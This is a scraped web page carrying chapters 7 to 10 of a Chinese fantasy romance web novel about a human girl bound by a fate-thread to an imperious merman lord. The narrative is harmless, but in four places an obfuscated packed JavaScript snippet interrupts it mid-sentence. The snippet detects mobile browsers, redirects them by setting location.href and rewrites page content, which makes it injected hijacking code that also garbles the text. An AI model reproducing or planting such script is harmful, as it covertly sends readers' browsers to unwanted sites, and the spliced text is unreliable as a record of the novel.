寒霜印见他这副样子,镜面都黑了几个度。刚准备开口怼回去,但想到等会儿要说的话绝对会颠覆焦洋现在的想法,自觉地先往后退了退,直到退到了陆雨娴踝边的蓝线上,才终于开了口: “因为天道以为陆姑娘救过你一命。” 语速极快,若不是它字正腔圆没口音快得都很难让人听清它在说什么。 寒霜印说完就闭上了嘴,甚至调动了合镜盖把自己的镜面都收得紧紧的,就等着焦洋发威。 但周遭的海水温度只是稍微降了一点,焦洋依然是那脸自负的表情,他大概是头一次对寒霜印的解释产生质疑:“本座堂堂鲛尊,法力无边,还需要她一个弱小人类来救?” 语气之笃定,让陆雨娴也近乎相信了他的话。是啊,她哪来的本事能救鲛尊大人啊。 直到寒霜印又道:“昨夜,她在浅滩边送你回海……” 闻言,焦洋完美的表情上终于出现了一丝裂缝,声音也变得愈发低沉:“那是本座化形修养,即便没她送入海本座也有千万种办法自己回来,这怎么能算救命之恩?” 寒霜印已经缩成了一团,但还是硬着头皮继续解释:“可天道已有定数。” 焦洋怒道:“天道胡作,本座也要顺着这不讲理的世界来?” 寒霜印:“或许是因为殿下那时正值潮汐之夜,法力最难控的低谷之时,又恰好向陆姑娘求助……” 焦洋:“本座那是命令她!” 寒霜印一哆嗦:“好好好,就算那是命令,但殿下那时确实是向陆姑娘求助了……” 焦洋杀来一记眼刀。 寒霜印麻溜改了口:“啊不是,殿下那时候确实是命令了陆姑娘,但天道不知道那是命令啊!天道只知殿下那时是微弱的小蓝鱼形态,而又脱离了水域搁浅在了岸边,暂时封闭了大半法力,和寻常的小蓝鱼并无区别,所以……” “所以天道只知寻常生灵命格,认为鱼离开了水就是要死了。我想稍微偷点懒命令一个小差使动手多走几步送我回去就是苟延残喘地求助,她听了我的命令把我放到了水里就是救了我一命。” “……正是。”寒霜印提心吊胆听完了焦洋的抢答,感觉自己的法器寒度都赶不上鲛尊殿下周遭的寒意了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15235704|166074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>就连陆雨娴此刻都有些心虚,这个乌龙的发生,导致鲛尊殿下现在这么狼狈地和她这个“小人类”被情命牵绑定在一起,她是不是也要负责。 但思来想去脑袋都要爆炸了,最后她还是开朗地自我开导了,本着“禁止内耗自己,一定要外号别人”、“错都是别人的,老娘是土皇帝,老娘做什么都不会错”的核心思想,遂认为—— 怪就要怪焦洋一念之差偏偏要偷懒。 明明可以再等一会儿自己就能游回去的小事,偏偏要捉弄她把玩她,这下好了,懒出毛病了,偷小懒出大事了吧。 良久,这边海都快冻得要起霜花了,焦洋终于再次开口,声音淡的仿佛失去所有语气。 “怎么解开?” 寒霜印道:“即是救命之恩,若殿下还清了恩情……” 焦洋又不乐意听这话了。 寒霜印再次麻溜改口:“还清了天道以为的所谓救命恩情,情命牵自会随之解开。” 焦洋收回目光,瞥了陆雨娴一眼,非常干脆地抬起了手。不假思索,毫不犹豫,一团蓝色光点又这样出现在了他的左掌心。 陆雨娴第六感警铃大作,随即抬起双臂捂住了自己胸口大退几步,“卧槽你要干什么?” 但她忘了,两人之间还有情命牵连着,再退都退不出距离焦洋五米之外的地方,更何况焦洋只要稍微动点法术哪怕隔了五百米都能把她捉回来。 而相比动用法术,鲛尊祖宗此刻显然更喜欢玩那根情命牵,尾巴一甩又给陆雨娴甩回自己身上了。 她的胸,确切来说应该是她捂在胸前的双手,正好撞在了他的胸口。 但陆雨娴此刻已经没有闲工夫再思考人鱼的胸肌和人的有没有什么区别,头大地看着焦洋左手掌心升起地越来越灿烂的蓝色火焰,而寒霜印看到这掌心焰就想到了刚刚被炙烤的火热,直接被吓晕了过去。 陆雨娴脱口道:“不许动!不许动!” 焦洋:“?” 他有些疑惑,但还是缓缓收了掌心的火焰,“你还有什么没说完的话要说吗?” 这话听得陆雨娴半截入土,她哽咽道:“虽然我知道你把我杀了情命牵的另一端就可以彻底消失,虽然我只是一个弱小的人类死不足惜,但鲛尊大人您本事通天我们一定还有更多更好的办法可以解开情命牵对吧?” “废话真多。”闻言,焦洋微闭双眼,再次使出了掌心焰。 这次,刚刚被掌心焰吓晕过去的寒霜印终于回过神来清醒了,忙道:“你不能杀她!杀了她你也会死,你会受到同等的痛处,若中伤她的力量来自于你本身,甚至会受到成倍的重伤。” “闭嘴,本座难道不知道情命牵的反噬?” 焦洋两三次施法不成功,一团灵气堵在胸口不上不下地十分怄气,眉头紧皱,语气极为不耐烦地开始给这俩解释:“我没想杀她,我只是想把她打到半死,快要断气的时候再救回来便算救她一命,届时情命牵自会解开。” ……打到半死。 ……快要断气。 陆雨娴被吓得两眼一黑晕过去之前就只记得自己听到的这两句了。 8. 第 8 章 良久,海中一片寂静。 唯有焦洋掌心的蓝焰还在霹雳燃烧着,带着那一片的海水亦在沸腾之中,咕噜冒泡。 陆雨娴再次醒来的时候,都不知道自己到底是死是活,又到底身处哪个世界。直到看到了昨晚睡觉时见过的那盏夜明珠晚灯,她才意识到自己已经回到了鲛尊殿。 难道没死? 还是真如焦洋所说的那样,已经被打了一顿,又救了回来?但身上轻飘飘的什么感觉都没有,甚至感觉精神比晕之前还要清爽。 到处写满了诡异。 她直起身子很轻松地坐了起来,两眼聚焦,四处望了望。 只见焦洋一手把玩着掌心焰,一柄鱼尾在水中漂浮灵动地摆着,挑眉看向她,沉默不语。 情命牵竟然真的不见了! 但奇怪的是这玩意终于没了后,她也没觉得有多高兴。确实是可以回师门了,但师门又不是她心里的家,到了那儿依然无趣。 她耷拉着脑袋,眼前却突然飞出来一块光。 寒霜印此刻也是神清气爽,对着她嬉皮笑脸道:“美人儿,终于醒了?” “嗯,”陆雨娴点点头,“时候不早了,我也得回去了。” 寒霜印收了笑容,“不是美人儿,你回哪里去?” 陆雨娴眨眨眼:“我还能回哪?回仙门山。饿死我了,回南山苑吃鱼去。” 寒霜印抽空看了脸色越来越黑的焦洋一眼,忙朝陆雨娴使了个眼色,劝道:“你想吃鱼还回去做什么,我们这里才是天底下各类海味最全的地方。” “哦?”陆雨娴知道了,但感觉这跟她不得不回去了没关系,又道,“但我已经劳烦鲛尊殿下太久,如今情命牵已解,是时候回去了。” 寒霜印大叫一声:“谁说情命牵解了的!” “难道不是?” 陆雨娴还在对着寒霜印说话,镜面中却突然出现了一张俊脸,她吓得差点咬掉了自己的舌头,回头一看,焦洋果然已经斜靠在了她身后,这姿势有点奇怪,看上去就像是他在搂着她。 焦洋挑眉,淡淡道:“没解。” 陆雨娴懵了:“那为什么不见了?” 而这个问题却没人回她了,四下突然又静得瘆人。 她不敢再和焦洋对视,现在这情况她已经感觉自己的脸烫的快要能烧开水了,只好向寒霜印求助。 寒霜印也招架不住她这楚楚可怜的眼神,只能转而看向焦洋。 焦洋目光在他们之间转了转,只道:“本座没有封你的唇。” 这便是能说了,寒霜印松了口气。 但焦洋顿了片刻,又道:“说重点,不该说的不要说。” “是是是!”寒霜印飞到陆雨娴前面,“简单来说,就是在你刚刚被吓晕的时候,我想了个办法,虽然不能马上解开情命牵,但可以暂时消隐,不会再约束你们的行动。” 陆雨娴点点头,得知这个消息,并不意外,她确实不怀疑寒霜印和焦洋有能力办这件事。而且按道理来说,这个线本来就应该可以暂隐吧,若是一直都牵着,那所有的鲛族伴侣不都成了连体婴,定然不可能。 “那挺不错的。”她道,“只不过我还有一个疑问。” 寒霜□□中一提,就连焦洋都连带着吸了半口气。 “为什么之前鲛尊殿下在海中给我渡气,不算救了我?按理来说,就凭那时相助,应该就可以解除这情命牵了吧?” 见陆雨娴没有问出那个它所担心得编不上答案的问题,寒霜印松了口气,很专业又很轻松地解释道:“因为陆姑娘你命格中没有那一劫,本来不会遇险,且当时落水也是受了情命牵的牵连,简单来说,天道判断你们那时可能有故意求死作弊的行为。” “作弊?” “正是,出于你们两的意愿制造的事故都不做作数。”寒霜印看向焦洋,要不是有这条规矩,估计陆美人儿就真被这个死鬼打了个半死一次了。 寒霜印:“所以之前那些贴额头又亲吻渡气的把戏根本没用,以后也不会有用。天道没那么好糊弄,自动判定你们那些动作都是调情,反而加深了契约和羁绊。” “羁绊还能加深?”陆雨娴差点尖叫。 “当然,羁绊和契约加深也不是完全没好处。” “比如?” 寒霜印一哽,不敢说了,顾左右而言它:“总之是有好处的,好处挺多,一时半会儿说不完,你想啊,你跟着鲛尊殿下混,可不是能在海里横着走?” “有道理。” 寒霜印微笑点头。 陆雨娴:“但我还是想回岸上。” 寒霜印笑容凝固了。 陆雨娴:“既然已经解开了,距离不受限制,就可以回岸上了吧?” 见它表情奇怪,她缓缓回过头,只能将乞求的目光投向焦洋,请示这个家里真正的主人。 但焦洋不语,只是一味抬了手。 挥挥衣袖的功夫,那边的珠贝桌上忽然就出现了满满一桌海鲜美食,陆雨娴喜欢吃的鱼类都有。 陆雨娴直勾勾地看着桌上的珍馐,刻意被忽视的馋虫又被勾了上来,但还是客气道:“这太麻烦鲛尊殿下了……” 焦洋依然沉默,只是一味地再次抬了手。 只见那桌海鲜美味边又出现了一圈小水灵,一个个列阵整齐,开始布菜碟倒仙露,陆雨娴被这梦幻般的场景迷住了。 但她仍有一丝神志尚存,艰难地控制自己的声音拒绝:“我一介愚笨草民,怎么配……” 焦洋挑眉,再抬手。 这次已经不限于满眼的美食,直接升级加倍,桌边桌角甚至床边一地,都洒满了各式各样的珠宝。比脸还要大的原生珍珠已经是其中最不值一提的宝贝,甚至黄金散落其中都只会觉得俗气,钻石的光都显得微弱,那些叫不出名字的各色天然宝石才是这片海最好的特产和馈赠。 陆雨娴有点不知好歹地想,非要她选一个的话,那还是那颗蓝宝石最漂亮。 正想着,她竟鬼使神差地缓缓偏过了头看向焦洋,而焦洋依然半倚着玩灵力,自始至终都没正眼敲过那一地亮瞎人眼的宝物。 大概是觉得还是无聊,才幽幽抬头看了陆雨娴一眼。 对视之时,陆雨娴在想,如果贪心没有底线的话,那还是鲛尊殿下的双眼最为迷醉,再璀璨的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15235705|166074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蓝宝石也不及他蓝眸流转万分之一。 良久,寂静。 陆雨娴已经说不出话来,寒霜印更是很有自知之明地已经躲到了前殿去。 焦洋也还是懒得说话,但实在不知道该再变些什么东西出来了,算了。 “饿了就吃饭。” “哦。”陆雨娴回神,讷讷应了一声。 这话真耳熟,跟昨天听过的那句“困了就睡觉”简直异曲同工之妙。 “谢过鲛尊殿下盛待。”她不是那种不知好歹的人,该讲礼貌的时候丝毫不含糊。 “别想多了,现在你的安危和本座息息相关,本座必须把你留在身边,你容不得半点闪失。” “嗯。”陆雨娴知道了,她其实本来也没想多。 焦洋看了她片刻,最终没再多说什么,转身去了外殿。 这下真安静了,内殿中只留了她一人。 陆雨娴抬箸,又遣退了水灵仙子们,终于到她大快朵颐的好时候了,天知道她刚刚有多馋这桌饭。 骗焦洋可以,别把自己骗了。真骗进去自己,连口水都分泌慢一步。 她舔舔唇,却发现这么久没喝水,口中还是湿润润的,甚至带了丝丝清甜的淡香。有些熟悉,却说不上在哪感受过,如深海清冽。并非沉浸在海中就能感受到的寻常气息,更为净爽悠远。 陆雨娴心向海洋,满怀期许,但难免对未知的深海气息生畏。而唇齿间的神秘气息却令人心安愉悦,仅仅只是回味着便让她心情反复飘至云端。 她仔细品了品但没有品出个所以然,姑且认为是自己的唾液腺变了异,又闻到了这么多好吃的鱼香,加上这视觉刺激,无论是美食还是美人都绝对顶级,所以她分泌出了不得了的口水,这变异出的气味她很满意。 墨鱼仔先来一串,鱿鱼圈更是少不了,到底还是俗了,都没来得及宠幸后头的三文鱼、金枪鱼、甜虾。也不知道焦洋怎么这么会变,怎么能这么精准地猜到她的心思,变出来的这桌都是她爱吃的。甚至大闸蟹和龙虾都已经处理好了,无须动手剥,入口即化。 美得很。 更神奇的是,居然还放了她最喜欢吃的辣椒,还有各类香料。 陆雨娴愈发拿不准她现在到底是在一个什么样的世界,朝代更是无从对比得知,看起来远古,但辣椒和烹煎油炸都不缺,梦都不敢梦得这么圆满称意。 但她又丝毫不怀疑自己在这个世界存在的真实性,感官的刺激都来得无比真实,无论是之前的痛感苦闷,还是现在的快乐满足,舌尖的味蕾刺激,都绝对感受到了其中所有。 梦毕竟来自于现实,但她很清楚她上辈子的现实生活中从来没吃过这样美味的东西,所以不可能梦出这样真实的细节。 只是,一个人吃饭终究是有些无聊,陆雨娴再怎么努力都只吃了一小部分,就连她最大开眼界的波士顿大龙虾也剩了半条。 她有些干巴地放下了筷子,感觉说不上来。这顿饭必然是吃饱喝足十分满意的,但又好像没吃。 “为什么不开心?” 她正反思着,却没想到焦洋的声音突然从身后响起,问出了她的心中所想。 9. 第 9 章 骤然被戳破,陆雨娴一个不防手一抖,“啪嗒”一声筷子又掉到了桌上。 陆雨娴不知祖宗为何又突然神出鬼没。更感觉若是这样的情况下吃饭其实也可以不需要人陪的,毕竟没人能提心吊胆地吃下饭,只会暴殄天物食不知味。 她叹了口气,挤出个笑脸回道:“没有不开心啊。” 焦洋游到了她的对面,和她对视,盯着她看了三秒。 还不需他开口,陆雨娴率先自己投降了:“鲛尊大人,小的错了。” 焦洋冷笑一声:“你错哪了?” 陆雨娴:“我错在不该骗你。” 焦洋挑眉:“看样子你的脑袋也不完全是个摆设。” 陆雨娴向来知道自己的情绪都非常表面,有什么心事和想法是完全藏不住的,更何况以焦洋那种毒辣眼神,说没说谎一看便知。 她好声道:“我也不是有意骗殿下,只是随口的话。”更不是趁着他还没来得及用真言咒就满口跑火车。 但没想到,焦洋并没过多纠结她的欺骗是否挑战了他鲛尊殿下的权威,反而坚持着想要最初那个问题的答案。 “你为什么不开心?” 他依然没用真言咒,只是这次陆雨娴自觉说出了心里话。 “我真的很高兴。”她轻轻看了焦洋一眼,又回避性地垂下头来,接着道,“你不用怀疑我这句话的真实性。” 焦洋皱着眉,显然还不能很好地理解陆雨娴这句话的意思。他方才一探头就看到她哭丧着脸,又分明感受到她情绪上的失落。抛开他借用情命牵探知她心情隐私这事是有点冒犯不谈,但所见所感皆为事实。 他从来不怀疑他对人类的观察和微表情分析。 而他有责任让她保持高兴,一直留在他身边。 原因也很简单,她要是一直不高兴,必然会影响他出关后的修炼静养,灵力无法完全大增,届时因为这个小人类,还不知道要出多少他意料之外的乱子。 真不知道这小人类怎么能做到既脆弱不堪又如此复杂难理解的。 但他并未出声,陆雨娴也不知道他短短几秒内想了这么多,坦诚地接道:“但也不排除我有一瞬间感觉孤单。” “孤单?” 陆雨娴点头。 焦洋不解。 沉默片刻后,他挥了挥手,眨眼间,那些被陆雨娴请下去歇凉的小水灵被他召了上来。 霎时阵仗浩大而繁复,水灵微光如七彩流萤般在她眼前掠过,惊得陆雨娴眼花缭乱,但又搞不懂祖宗现在这是闹哪出? 而细看,那些小水灵们突然被鲛尊殿下木着脸带回到桌边,一个个都非常茫然,战战兢兢地恐惧着。 焦洋:“这下够热闹了?” “啊?”陆雨娴回过神来,原来是这个意思,又及时同情了众水灵一秒,急忙解释,“我不是说她们懈怠,那什么,我说的孤独也不是这个意思。” “那是为何?”焦洋语气不悦,已经有些不耐烦了。 “她们都是我请下去歇息的,我想自己一个人吃饭,别人盯着我不太习惯。”陆雨娴道。 焦洋:“你又说孤单,又想一个人呆着?” 陆雨娴:“……”确实矛盾,她自己都发现这话不对劲。 出现了,一级警报。焦洋脸上很快又出现了那种看智障的眼神,看着她。 陆雨娴重新谨慎措辞,尽可能准确地向一条鱼描述自己人的感觉:“她们看着我吃饭不是我想说的陪伴,被一群人看着当然尴尬啊。” “为什么会觉得尴尬?” 从小被一群人围着吃饭伺候的鲛尊大人显然无法理解。正如他已辟谷几百年也早已忘了吃饭是什么感觉,不知道这小人类怎么会喜欢吃饭这么无聊又机械的事,要求还忒多。 陆雨娴换了个角度,试图向焦洋描绘寻常人家一起吃饭多么温馨美妙。 “有人陪着一起说会儿话,分享一天的开心事或者一起解决烦心事,哪怕只是聊聊天气,一起感受今天的食物味道,这都是快乐地吃一顿饭的组成。” 焦洋微顿,片刻后恍然点头。情感上还是不能理解,但试图从人类逻辑上接受。 陆雨娴肩膀沉了沉,感觉自己刚才的力气好歹没白费。 但眼见着焦洋又忽然抬了手:“说话。” 这话不是对陆雨娴说的,而是向旁边那群依然提心吊胆并倒霉着的水灵。 殿下之命不可违。瞬间,围绕着他们的这群小水灵又变得叽叽喳喳了起来,哪怕没什么好说的内向沉默的都要硬憋着发出点声。 焦洋微微一笑,收手摩挲着指尖,似乎对自己刚刚的决策很满意,回过头来看向陆雨娴。 他之前嫌这群小水灵吵,话太密,又只会说鲛语,陆雨娴听不懂估计更麻烦,索性给他们禁了言。 但刚刚那一下,他把水灵的禁言解了,又同心施了灵力给陆雨娴颅内植了“意识流翻译器”,他能听懂的语言她都能懂了,区区鲛语又是焦洋母语,更不在话下。 而突然又被祖宗解锁了新能力的陆雨娴还是一脸懵,一边沉浸在她竟然突然精通了海底世界的所有语言的惊喜,一边默叹发现这些漂亮的小水灵竟然会说话真是好神奇。 但,她还是没懂,鲛尊殿下这又又又是闹哪出? 最终,陆雨娴得出结论—— 他果然还是没懂我的意思。 于是,焦洋的脸色以陆雨娴肉眼可见的速度沉了下去。 随即,周围海水迅速变凉,隐隐有要结冰的趋势,陆雨娴脑内警报狂响疯狂找补:“啊,好神奇!真是太神奇了!看到了从没见过了超超超神奇场面!鲛尊殿下果然厉害!棒!太棒了!真是我在这个世界上见过的最厉害的人!” 只是,她虽然说的确实都是实话,但皮笑肉不笑的表情还是出卖了一切。 挽回已经迟了,焦洋黑着脸一个挥手将那些水灵拍飞到了海底两万里之外,顺便再次给它们禁了言。 众水灵有苦说不出,虽然冤枉,但如获大赦,踏着浪麻溜滚了。 好一个“挥之即来,挥之即去”。陆雨娴看的心都提了起来。 焦洋感受到了她的情绪,收了手,冷声道:“你在害怕?” 陆雨娴刚准备开口道“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15235706|166074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我不怕啊”,但瞥见焦洋已经快要捏紧的拳头,急忙开口大白话:“我在想这看起来太牛掰了。” “嗯?扭摆?” “……” 差点又忘了祖宗耳朵不好且不是一个世界的。 “啊,我是说刚刚那一下看起来很厉害。”她解释道,“但厉害过了头,就有点吓人了。” 陆雨娴上前一步,为了表明自己不是真的畏惧他,伸出指尖轻轻点了点焦洋越抬越高的拳头,眨眨眼。 焦洋很配合地松开了拳放下手臂,打量着她谄媚的表情,冷哼一声。 但显然,鲛尊殿下极强的求知欲和探索欲还没有得到满足,哪怕是对着世界上最坏最无趣的人类。尤其面前这只,更是平平无奇脆弱潦倒,除了长得好看一无是处。 不知道自己已经被打成“无用花瓶人”的陆雨娴,依然好为人师,不厌其烦地满足鲛尊殿下的求知欲,想尽办法解释人类社会行为—— “总之吃饭有个相处愉快的人陪伴着一起,偶尔聊聊天,幸福感定然会加倍飙升。一个人吃饭虽然没人抢,可以吃得尽兴,但两个人的快乐又截然不同,所以我刚才只是想到了一些小事,真的没有不开心!而且你也知道情绪这种东西,来得也快去得也快,刚刚那瞬间的感受真的没什么要紧的,一下就没了,根本不值得反复研究,反倒简单问题复杂化了。不过,话说回来,海底确实不一样。我又想到了我小时候和家人吃的饭,鲛尊大人您仙法烧得海鲜虽然味道挑不出任何毛病,但还是少了丝烟火气,至于这个烟火气是什么,我也很难解释,算了你还是当我没说过刚才那词吧。还有!最最最最重要的一点,我必须再重申,小的真的从来没有有意要骗您,有时候只是嘴巴比脑子快祸从口出了,啊也不是,反正我不是真的想骗你……” 这么大一段话不喘气地听下去,焦洋就听进去了五个字—— “吃饭,要人陪。” 焦洋轻嗤一声,人类,真是麻烦。 吃个饭还得要人陪着。 时刻跟人打交道到底有什么好?不仅要时刻提防着担心被背叛,还得不得不照顾对方情绪。就像现在这样,烦都烦透了。 而且,他还有个问题得不到明确答案—— 人鱼对她来说算不算广义上的人? 随即,焦洋又在心里呸了一嘴。 肮脏的人类也配和他相提并论?他真是疯了才会自降身份和人一较高下。 陆雨娴就这么看他板着一张脸,微表情略有变化,但索性再没有很明显的生气,心里松了半口气。 鲛尊殿下确实智商绝顶,但情感方面又一窍不通,有时和他说话沟通畅快,但有时又得咬文嚼字跟打报告似的,绞尽脑汁才能跟他把话说明白。 陆雨娴懒了,懒到也不想再这么费脑子地跟焦洋文言式说话,甚至巴不得他能直接读心。 真言咒到底还是浅了,还得她自己动嘴皮子。若是能读心或者直接和她感同身受,焦洋也不必再这么用尽全身耐心问她,试图理解人类的话,她也不必如此烧脑细胞对答。 活脱一个倒霉悲催的幼教工作从业者。 10. 第 10 章 酒足饭饱后,陆雨娴定点晕碳犯困。 本来瞪着个大眼睛还能在焦洋面前强撑一阵,但她犯起困来到底是六亲不认,依然能头顶鲛尊殿下灼热的目光眼皮子打架。 经过两分钟的持续放空,陆雨娴眼神呆滞,心一横,决定不管焦洋到底还愣在这里一动不动又要闹哪出,直接起了身,圆润地滚去五米大圆床上睡一觉。 但她努力了半天,愣是没起得来。 陆雨娴被这么一吓,醒了大半,怀疑自己是不是被下了毒,吃个饭就把身子给吃坏了。 她下意识抬头看向焦洋,而后者气定神闲地端坐着,面不改色地回看她。 但这儿除了焦洋可就没有别人了,陆雨娴也不是傻子,强压下自己内心想要翻白眼的冲动,开始装乖当狗腿:“鲛尊殿下?” “嗯?”焦洋勾了勾嘴角,很配合地应了她一声。 若是一般人就得怀疑自己是不是冤枉好人了,但陆雨娴最近的心理素质是越来越强,接道:“请问,您还有什么指示?” 焦洋欣赏了一番她这副看不惯他又干不掉他的样子,沉默得陆雨娴一口气都快蹿上胸口提神醒脑了,才凉凉开口:“啊,其实也没什么事。” 陆雨娴咬牙切齿地“哦”了一声,使出全身力气压住脾气:“那请问殿下,是否可以放小的起身了?” 焦洋:“当然。” 陆雨娴眼皮随之一沉。 一般情况下听到好消息应该都是眼前一亮的,但她显然困麻了没那个好精神,虽然脑子是醒的,身上懒却遭不住。 她到底只是一个普通人类,即便有焦洋的灵力加持,能在海底自由呼吸,但对身体的消耗还是巨大。吃饭的确可以补充能量,而消化也需要一步步慢慢吸收。 陆雨娴闻言伸腿,预备起身奔向大床,但还是动不了一点。 是可忍孰不可忍?兔子被逼急了也是会咬人的,更何况她是个活生生的要睡觉的人,不让她睡觉真就是在要她的命! “你放我起来,我要睡觉!” 焦洋:“哈哈哈哈哈!”笑出了声。 陆雨娴:“?”这鱼真他爹是个变态,折磨人好玩是吧? 她就不信还治不了他了,伸手就给了自己一拳。 “嘭!”地一下,结结实实地锤在大腿,陆雨娴痛得龇牙咧嘴,但强忍着没发出声,色厉内荏丢不起这个人。 “你有病?”倒是焦洋直接破口骂出了声,高高在上的尊贵优雅荡然无存。 他好久没受过这么纯净彻底不沾一点法术的物理攻击,痛得真是新鲜又奇妙,甚至痛得几乎受虐般的隐隐兴奋了一下。 随着情命牵的副作用,焦洋也不得不结结实实地挨了陆雨娴这么近乎自残般地一拳,对应着的鱼尾腰腹处亦是痛得一抽,扇动着周围的海浪,卷得餐桌上的杯碟碗盏顺时横七竖八。 陆雨娴看着这摊杯盘狼藉心中发怵,却壮起胆梗着脖子和他对视。心想反正他也杀不掉她,有种来啊,光脚的不怕穿鞋的。 陆雨娴:“我要睡几——嗷!”靠,绷了半天还是破音了,虽然丢人,依然得稳住。 焦洋眼冒蓝光,气得不轻又无可奈何,说不清是气陆雨娴还是气那个莫名牵线的蠢笨天道,但绝对坚持狂妄地认为自己错不了一点。 焦洋:“不许睡觉。” 陆雨娴懒得跟他辩论了,趁着他刚刚吃痛已经松了牵制咒自行起身往床上跑。 但焦洋这时候也不恶作剧了,闪身就出现在了她身后,提溜住她的衣领:“起来,跟我一起去巡视鲛族部落。” 陆雨娴不管他,自然往前走,脖子卡着衣领,以一种上吊般的姿势继续往前:“我不去。” 焦洋脖子也随着一紧,:“你必须去。” 陆雨娴烦死了:“我为什么要去?鲛族是你的部落,又不是我的。” 焦洋:“是你的。” 陆雨娴:“?” 焦洋:“我的就是你的。” 要不是他那表情依然霸道,又认真到近乎清澈的纯洁,陆雨娴差点就信了。 她面无表情地继续拒绝:“我困了,我要睡觉,我不去。” 焦洋生气了,挥手在虚空中一握,便直接将陆雨娴提了起来。陆雨娴被他这样隔空抓着,跟一条干湿咸鱼凌乱在风中没什么两样。 焦洋:“别废话。” 陆雨娴在空中乱扑腾,但用尽全身力气也无法游到那张床上,软的不行那就只能继续来硬的了。 想罢,她张大了嘴,准备往自己舌尖上狠狠再来一下。身上其他地方都动不了,只能出此下策。 但这次焦洋已经早有准备,“咚”地一下就塞了颗大珍珠在她嘴里,陆雨娴吐不出吞不下咬不碎,只能干瞪眼,用她那毫无杀伤力的眼神诅咒焦洋。 焦洋蔚蓝的眼瞳中冒着火,微凉的指尖在她的侧脸边刮了刮:“小人类,你为什么偏要跟本座唱反调呢?真以为我不敢拿你怎么样?” 对上他凉薄的眼神,久违的恐惧再次爬上陆雨娴心头。 方才她吃得高兴有点太忘形了,忘了这位鲛尊大人和人界势同水火,尤其是修仙之人。她虽然还没能完全了解这个世界的来龙去脉,但稍微动动脑子也猜到焦洋和正派修仙界为敌,定然就是个坏家伙,坏到骨子里没得治的那种。 她刚想打起精神再应付一番,但眼皮又沉了沉,重得几乎要抬不起来,她意识到自己现在困得不正常,就算再困也不该渐渐感到意识飘忽,和在人间数学课上犯困的那些日子完全不一样。 甚至,她的这不知名的困倦已经渐渐影响到了无坚不摧的鲛尊殿下,焦洋原本冷漠的眼神慢慢沾上了些许慌乱。 “小人类……小人类!” 陆雨娴摇晃着身子,脑袋小鸡啄米似的一颠一颠,在海浪中沉浮。 “陆雨娴!” 就在她感到七魂六魄已经快要溶解在这片海的时候,一股强烈得堪比502胶的力量又将她粘了回去。 “蹭”地一下,陆雨娴睁开了眼,发现自己正躺在五米半径的圆形大床上。 那种以为自己又要死了结果发现还活着的惊奇之感和饭前醒来的那下,感觉如出一辙。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15235707|166074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 本来快要碎掉了但又被莫名一块块拼好了的陆雨娴坐起身,这次先看到的不是寒霜印,而是一群围绕着她的小水灵,似乎还在给她……量体温? “醒了?”又是在身后,传来焦洋的声音,只是比之前那次更沾疲惫。 “嗯……”陆雨娴还没弄清楚状况,问道,“我又睡了一觉?” 焦洋沉默地看了她一阵,缓缓开口:“算是。” 陆雨娴纳闷,什么叫“算是”? 焦洋游上前来,尾尖沾上床,倾过修长的上身靠近她,陆雨娴下意识往后避了避,感受到他的手贴上了她的额头。 陆雨娴眨眨眼,只见焦洋紧锁的眉头松了些,她问:“有什么问题吗?” 焦洋:“没问题。” 听起来轻快的三个字,但语气并不算好,甚至有些厌恶。陆雨娴不敢刨根问底,虽然能感觉到他散发出的那种厌恶似乎不仅仅只是针对她的,有点愤恨全世界的意味,甚至都少了几分自恃。 她咂咂嘴,又感受到了唇齿间泛出丝丝清冽,这么想来,这独特的深海之息应该和她进食分泌的唾液没关系,倒像是她每次睡醒后会出现的莫名味道。 即是睡醒才感到的,陆雨娴想来想去也不知道这气息的来源是什么,只觉得好闻,还有点……好吃,令人心神愉悦。每次睡醒了之后就会觉得身体倍儿棒,睡眠质量好到感人,她可以一拳打死牛。 既然如此,已经休息充分,陆雨娴轱辘爬到床边穿上鞋子,边和焦洋说道:“事不宜迟,鲛尊大人,我们去巡海吧。” 焦洋瞥了她一眼,嘴角抽了抽,无语至极的时候真会想突然笑一下,边揉眉心边道:“天已经黑了。” 